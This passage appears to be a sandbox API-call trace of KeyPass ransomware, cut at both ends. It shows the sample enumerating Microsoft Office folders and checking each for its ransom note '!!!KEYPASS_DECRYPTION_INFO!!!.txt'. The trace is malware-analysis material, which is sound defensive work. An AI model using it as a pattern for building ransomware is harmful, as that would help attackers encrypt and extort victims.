Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\OutlookAutoDiscover\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.347] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\OutlookAutoDiscover\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.348] GetFileType (hFile=0x1610) returned 0x1 [0275.349] CloseHandle (hObject=0x1610) returned 1 [0275.349] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.349] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.349] GetLastError () returned 0x3f0 [0275.349] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PAGESIZE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PAGESIZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.349] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PAGESIZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.350] GetFileType (hFile=0x1614) returned 0x1 [0275.350] CloseHandle (hObject=0x1614) returned 1 [0275.353] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.353] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.353] GetLastError () returned 0x3f0 [0275.353] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.353] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.369] GetFileType (hFile=0x161c) returned 0x1 [0275.370] CloseHandle (hObject=0x161c) returned 1 [0275.370] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.370] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.370] GetLastError () returned 0x3f0 [0275.370] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.370] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.372] GetFileType (hFile=0x1618) returned 0x1 [0275.373] CloseHandle (hObject=0x1618) returned 1 [0275.373] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.373] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.373] GetLastError () returned 0x3f0 [0275.373] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\1036\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.373] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\1036\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.374] GetFileType (hFile=0x1620) returned 0x1 [0275.375] CloseHandle (hObject=0x1620) returned 1 [0275.375] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.375] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.375] GetLastError () returned 0x3f0 [0275.375] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\3082\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.375] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PROOF\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.376] GetFileType (hFile=0x1624) returned 0x1 [0275.377] CloseHandle (hObject=0x1624) returned 1 [0275.377] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.377] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.377] GetLastError () returned 0x3f0 [0275.377] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PUBBA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PUBBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.377] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PUBBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.377] GetFileType (hFile=0x1628) returned 0x1 [0275.378] CloseHandle (hObject=0x1628) returned 1 [0275.378] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.378] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.378] GetLastError () returned 0x3f0 [0275.378] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PUBWIZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PUBWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.378] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\PUBWIZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.379] GetFileType (hFile=0x162c) returned 0x1 [0275.380] CloseHandle (hObject=0x162c) returned 1 [0275.380] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.380] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.380] GetLastError () returned 0x3f0 [0275.380] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\QUERIES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\QUERIES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.380] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\QUERIES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.380] GetFileType (hFile=0x1630) returned 0x1 [0275.381] CloseHandle (hObject=0x1630) returned 1 [0275.381] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.381] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.381] GetLastError () returned 0x3f0 [0275.381] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\SAMPLES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\SAMPLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.381] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\SAMPLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.382] GetFileType (hFile=0x1634) returned 0x1 [0275.382] CloseHandle (hObject=0x1634) returned 1 [0275.383] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.383] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.383] GetLastError () returned 0x3f0 [0275.383] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\sdxs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\sdxs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.383] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\sdxs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.384] GetFileType (hFile=0x1638) returned 0x1 [0275.384] CloseHandle (hObject=0x1638) returned 1 [0275.384] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.385] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.385] GetLastError () returned 0x3f0 [0275.385] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\SkypeSrv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\SkypeSrv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.385] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\SkypeSrv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.386] GetFileType (hFile=0x1640) returned 0x1 [0275.386] CloseHandle (hObject=0x1640) returned 1 [0275.386] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.386] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.386] GetLastError () returned 0x3f0 [0275.386] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\STARTUP\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\STARTUP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.387] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\STARTUP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.387] GetFileType (hFile=0x1644) returned 0x1 [0275.388] CloseHandle (hObject=0x1644) returned 1 [0275.388] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.388] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.388] GetLastError () returned 0x3f0 [0275.388] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Visio Content\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Visio Content\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.388] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Visio Content\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.389] GetFileType (hFile=0x1648) returned 0x1 [0275.389] CloseHandle (hObject=0x1648) returned 1 [0275.390] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.390] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.390] GetLastError () returned 0x3f0 [0275.390] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Visio Content\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Visio Content\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.390] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\Visio Content\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.390] GetFileType (hFile=0x164c) returned 0x1 [0275.391] CloseHandle (hObject=0x164c) returned 1 [0275.391] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.391] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.391] GetLastError () returned 0x3f0 [0275.391] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\XLSTART\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\XLSTART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.391] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\XLSTART\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.392] GetFileType (hFile=0x1650) returned 0x1 [0275.392] CloseHandle (hObject=0x1650) returned 1 [0275.392] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0275.392] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.392] GetLastError () returned 0x3f0 [0275.392] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\rsod\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\rsod\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.393] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\rsod\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.393] GetFileType (hFile=0x1654) returned 0x1 [0275.394] CloseHandle (hObject=0x1654) returned 1 [0275.394] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0275.394] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.394] GetLastError () returned 0x3f0 [0275.394] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Stationery\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.394] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.395] GetFileType (hFile=0x1658) returned 0x1 [0275.395] CloseHandle (hObject=0x1658) returned 1 [0275.396] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.396] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.396] GetLastError () returned 0x3f0 [0275.396] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Stationery\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Stationery\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.396] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Stationery\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.397] GetFileType (hFile=0x165c) returned 0x1 [0275.397] CloseHandle (hObject=0x165c) returned 1 [0275.397] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0275.397] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.397] GetLastError () returned 0x3f0 [0275.398] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.398] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.508] GetFileType (hFile=0x163c) returned 0x1 [0275.509] CloseHandle (hObject=0x163c) returned 1 [0275.509] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.509] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.509] GetLastError () returned 0x3f0 [0275.509] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.509] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.510] GetFileType (hFile=0x1660) returned 0x1 [0275.511] CloseHandle (hObject=0x1660) returned 1 [0275.511] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.511] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.511] GetLastError () returned 0x3f0 [0275.511] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.511] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.512] GetFileType (hFile=0x1668) returned 0x1 [0275.513] CloseHandle (hObject=0x1668) returned 1 [0275.513] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.513] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.513] GetLastError () returned 0x3f0 [0275.513] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\DataType\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\DataType\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.513] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft 